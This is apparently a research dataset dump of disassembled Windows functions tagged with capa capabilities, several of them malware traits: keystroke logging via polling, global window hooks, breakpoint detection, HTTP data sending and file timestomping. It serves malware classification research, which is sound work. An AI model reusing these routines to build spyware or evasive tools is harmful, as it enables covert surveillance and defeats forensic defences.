joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47d998
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47db43
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x47db24
mov dl, 1
mov eax, dword [0x41b7a0]
call fcn.0040383c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004046dc
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x47db13
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0046ae18
test al, al
je 0x47db06
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x47db54
lea eax, [ebp - 0x254]
call fcn.00409ef4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x47db06
xor eax, eax
push ebp
push 0x47daff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x47db8c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x47dae8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040494c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x47dae8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47db06
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x47da09
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041fd7c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47db4a
lea eax, [ebp - 0x260]
call fcn.004046dc
ret

Function at 0x47e478
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x50dbf0]
cmp byte [eax + 0xa5], 0
jne 0x47e4e9
cmp dword [0x50dc08], 0
jne 0x47e4aa
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x47e434
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x50dc08], eax
cmp dword [0x50dc04], 0
jne 0x47e4c5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x50dc04], eax
cmp dword [0x50dc0c], 0
jne 0x47e4e9
push esp
push 0
push 0
push 0x47e3d8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x50dc0c], eax
pop edx
ret
Function at 0x47e5e0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x47e5f7
add esp, 0xfffffff0
call fcn.00403bd0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00425d7c
mov eax, dword [0x50c6e8]
cmp word [eax + 2], 0
jne 0x47e61f
mov eax, dword [0x50c6e8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0047fd60
mov eax, dword [0x50c820]
cmp word [eax + 2], 0
jne 0x47e639
mov eax, dword [0x50c820]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0047ff58
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41b13c]
call fcn.0040383c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41b13c]
call fcn.0040383c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x42834c]
call fcn.0042fdc8
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x47e7c0
mov eax, dword [0x50c568]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00430198
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4804f8
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x50c568]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040dd3c
test eax, eax
je 0x47e72e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004098a8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040dd64
test eax, eax
je 0x47e742
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.0040494c
mov eax, dword [0x50c364]
cmp byte [eax], 0
jne 0x47e776
mov eax, ebx
call fcn.0047e8e8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004806d4
mov eax, ebx
call fcn.00481098
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x47e7b6
call fcn.00403c28
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x47eb68
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x50dbf0]
cmp dword [eax + 0x30], 0
je 0x47ec12
cmp dword [ebx + 0x94], 0
jne 0x47ec0c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x47eaf8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x47ec0c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x47ebd2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x47ec0c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041d98c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x47ebe1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x47f774
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x47f7a9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004047cc
jmp 0x47f7b6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404730
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4808b0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4808f1
mov eax, esi
call fcn.0046639c
test al, al
je 0x4808f1
mov eax, dword [ebx + 0x84]
call fcn.00466098
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4808f1
push 0
mov eax, dword [ebx + 0x84]
call fcn.00466098
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x49de7c
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x49dea1
cmp dword [esp + 4], 5
jb 0x49dea1
mov al, 1
jmp 0x49dea3
xor eax, eax
add esp, 0x94
ret
Function at 0x4b125c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4b128a
mov eax, ebx
call fcn.004b1d10
cmp dword [ebx + 0x40], 0
je 0x4b1283
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4b12fb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4b12ed
cmp dword [ebx + 8], 0
je 0x4b12ac
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4b12be
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4b12ed
cmp dword [ebx + 8], 0
je 0x4b129f
cmp eax, 3
je 0x4b12d1
dec eax
jne 0x4b129f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4b129f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4b129f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4b1319
cmp dword [ebx + 0x14], 0xcc
je 0x4b1319
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004b1324
pop ebx
ret
Function at 0x4c2274
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4c24d4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x4c22d7
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.004c1d8c
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040d8b0
cmp al, 1
jne 0x4c22d7
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.004c2054
test al, al
je 0x4c2463
cmp dword [ebp - 8], 0
jge 0x4c22f5
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.004c1d8c
mov eax, dword [ebp - 0x210]
call fcn.0040499c
cmp ebx, eax
jge 0x4c233f
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.004c1d8c
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x50ca34]
and eax, 0xff
bt dword [edx], eax
jae 0x4c233f
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x4c2353
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004c2250
cmp ebx, dword [ebp - 8]
je 0x4c2455
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x4c237f
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a68
and eax, 0x7f
movzx eax, word [eax*2 + 0x50c254]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x4c2442
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a68
and eax, 0x7f
movzx eax, word [eax*2 + 0x50c254]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00466098
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403a68
and eax, 0x7f
movzx eax, word [eax*2 + 0x50c254]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00466098
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c2449
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x4c24b6
cmp dword [ebp - 8], 0
jge 0x4c246e
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.004c1d8c
mov eax, dword [ebp - 0x218]
call fcn.0040499c
cmp eax, dword [ebp - 8]
jg 0x4c24a8
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.004c1d8c
mov eax, dword [ebp - 0x21c]
call fcn.0040499c
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004c2250
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c24db
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404700
ret
Function at 0x4da4f0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.004078a4
ret
Function at 0x10001a69
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x3a980
call fcn.1000a12c
xor edx, edx
inc edx
call fcn.10009bf7
xor ecx, ecx
and al, 8
cmp al, 8
setne cl
push 0x32
pop edx
dec ecx
and ecx, 0x803000
add ecx, 0x84400200
mov dword [0x10032c5c], ecx
call fcn.10009bf7
cmp ax, 1
jne 0x10001ab5
or dword [0x10032c5c], 0x80000
push esi
push edi
push 0x23
pop edx
call fcn.10009bf7
movzx eax, ax
xor edi, edi
sub eax, edi
je 0x10001ada
dec eax
je 0x10001b92
dec eax
je 0x10001b89
dec eax
dec eax
jne 0x10001af5
push edi
push edi
push 0x20
pop edx
call fcn.10009c20
push eax
push 3
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x10035f9c], eax
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp - 4]
push eax
push 5
push dword [0x10035f9c]
call esi
push 4
lea eax, [ebp - 4]
push eax
push 6
push dword [0x10035f9c]
call esi
push 0x10032c58
push edi
push 3
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x10035f9c]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
push 0x23
pop edx
mov dword [0x10035fa0], edi
call fcn.10009bf7
cmp ax, 4
jne 0x10001b80
push 0x21
pop edx
call fcn.10009c31
push eax
push 0x21
pop edx
call fcn.10009c20
push eax
push 0x2b
push edi
call esi
push 0x22
pop edx
call fcn.10009c31
push eax
push 0x22
pop edx
call fcn.10009c20
push eax
push 0x2c
push dword [0x10035fa0]
call esi
call fcn.1000a14d
pop edi
pop esi
leave
ret
push edi
push edi
push edi
push edi
jmp 0x10001ae7
push edi
push edi
push edi
push 1
jmp 0x10001ae7
Function at 0x10001c03
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x487]
push ebx
push eax
mov dword [ebp - 0x4b4], 0x1002c55c
mov dword [ebp - 0x4b0], ebx
mov byte [ebp - 0x488], bl
call fcn.1001bf50
push 0x7f
lea eax, [ebp - 0x87]
push ebx
push eax
mov byte [ebp - 0x88], bl
call fcn.1001bf50
add esp, 0x18
push 8
xor eax, eax
pop ecx
lea edi, [ebp - 0x4a8]
mov dword [ebp - 0x4ac], ebx
rep stosd dword es:[edi], eax
mov eax, dword [0x10035fa8]
cmp eax, ebx
je 0x10001dcd
lea edi, [ebp - 0x4ac]
call fcn.10008281
push 0x10039cc0
mov edi, 0x1002c558
push edi
mov esi, 0x400
push esi
push dword [ebp - 0x4a4]
call fcn.100142a6
push dword [0x100398a0]
lea eax, [ebp - 0x88]
push 0x1002c560
push 0x80
push eax
call fcn.100142a6
lea eax, [ebp - 0x88]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10001cca
push dword [0x10035fa8]
sub eax, ecx
push dword [0x10035fa4]
push eax
lea eax, [ebp - 0x88]
push eax
push 0xd
pop edx
call fcn.10009c20
push eax
lea ecx, [ebp - 0x4ac]
call fcn.10007bb7
mov eax, dword [ebp - 0x4a8]
add esp, 0x14
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10001d07
sub eax, ecx
lea eax, [ebp - 0x488]
jne 0x10001d2b
push dword [ebp - 0x4a4]
push edi
push esi
push eax
call fcn.100142a6
add esp, 0x10
jmp 0x10001d46
push dword [ebp - 0x4a8]
push dword [ebp - 0x4a4]
push 0x1002c564
push esi
push eax
call fcn.100142a6
add esp, 0x14
call fcn.1000a12c
push 0x10032c58
push dword [0x10032c5c]
lea eax, [ebp - 0x4b4]
push eax
push ebx
push ebx
lea eax, [ebp - 0x488]
push eax
push 0x1b
pop edx
call fcn.10009c20
push eax
push dword [0x10035fa0]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
push esi
call fcn.10001bbe
mov eax, dword [ebp - 0x4ac]
pop ecx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10001d8d
push dword [ebp - 0x49c]
sub eax, ecx
push dword [ebp - 0x4a0]
push eax
push dword [ebp - 0x4ac]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [ebp - 0x4ac]
call fcn.100082fa
mov dword [0x10035fa8], ebx
call fcn.1000a14d
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret
Function at 0x100020f4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10035fac], 1
je 0x10002157
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x10002133
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.10014a1e
push 0x14
pop edx
mov dword [0x10035fac], 1
call fcn.10009c09
push 0x13
pop edx
mov dword [0x10035fb0], eax
call fcn.10009c09
mov dword [0x10035fb4], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014062
leave
ret

Function at 0x10002163
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.100020f4
push 0x100
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x100021a6
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100021a6
cmp word [eax + 8], 2
jne 0x100021a6
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x100021a6
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x100021ab
mov eax, str.unknown
pop ecx
pop ebp
ret

Function at 0x100021c2
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
cmp esi, 0x3ff
mov eax, dword [ebp + 8]
jg 0x10002206
push esi
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.10014360
add esp, 0xc
lea eax, [ebp - 0x404]
push eax
mov byte [ebp + esi - 0x404], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10014062
leave
ret

Function at 0x1000250e
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.1001bf50
mov dword [ebp - 0x70], edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 4]
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x44], 0x101
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call fcn.10007a84
add esp, 0x18
test eax, eax
je 0x100025c5
push 0x2710
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
lea esi, [ebp - 0x24]
push dword [ebp - 8]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005b95
add esp, 0x18
pop edi
pop esi
leave
ret
Function at 0x100026ba
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.1001414e
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10002749
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.10006ce4
push esi
push eax
call fcn.10006db7
pop ecx
pop ecx
test eax, eax
jne 0x100026f7
push ebx
call fcn.10014071
jmp 0x10002748
push dword [ebp + 0x10]
push ebx
call fcn.10014c2f
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10002732
test esi, esi
je 0x10002732
push esi
lea eax, [ebp - 0x14]
call fcn.100016c7
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.10006d65
push eax
call fcn.10014da8
push esi
call fcn.10014ea1
add esp, 0x14
jmp 0x100026ef
push ebx
call fcn.10014071
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 8
call fcn.10001988
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x1000274d
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x834
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x3ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x807]
push ebx
push eax
mov byte [ebp - 0x808], bl
call fcn.1001bf50
add esp, 0xc
push esi
lea eax, [ebp - 0x407]
push ebx
push eax
mov byte [ebp - 0x408], bl
call fcn.1001bf50
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp - 0x830]
call fcn.10006ce4
inc esi
push esi
push eax
lea ebx, [ebp - 0x808]
call fcn.10006db7
pop ecx
pop ecx
test eax, eax
je 0x100028c5
lea eax, [ebp - 0x830]
push esi
push eax
lea ebx, [ebp - 0x408]
call fcn.10006db7
pop ecx
pop ecx
test eax, eax
je 0x100028c5
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
push ebx
push 0x2000080
push 3
push ebx
push 1
push connect
lea eax, [ebp - 0x808]
push eax
call esi
mov edi, eax
cmp edi, ebx
jne 0x10002822
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x808]
push eax
push 0x31
call fcn.100019b6
add esp, 0xc
jmp 0x100028c5
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x1000285b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 9
call fcn.10001988
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100028c5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push ebx
push 0x2000000
push 3
push ebx
push 2
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call esi
mov esi, eax
cmp esi, ebx
jne 0x10002892
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x408]
jmp 0x10002812
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x100028c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xa
call fcn.10001988
pop ecx
pop ecx
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10014062
leave
ret